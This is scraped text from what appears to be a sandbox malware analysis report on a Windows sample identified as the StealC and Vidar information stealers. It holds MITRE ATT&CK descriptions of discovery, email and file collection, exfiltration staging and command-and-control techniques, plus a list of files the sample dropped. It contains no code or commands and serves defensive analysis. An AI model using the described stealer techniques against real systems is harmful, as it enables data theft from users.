Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AKKEGDGCGDAKEBFIJECGHJEGCA

C:\ProgramData\CBGHCAKKFBGDHJJJKECF

C:\ProgramData\CBKFIECB

C:\ProgramData\DBKEGCAE

C:\ProgramData\FBFCGIDAKECGCBGDBAFIDHCFBA

C:\ProgramData\GCAKKECAEGDGCBFIJEGH

C:\ProgramData\JKJDBAAAEHIEGCAKFHCG

C:\ProgramData\chrome.dll

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

Windows Analysis Report
file.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre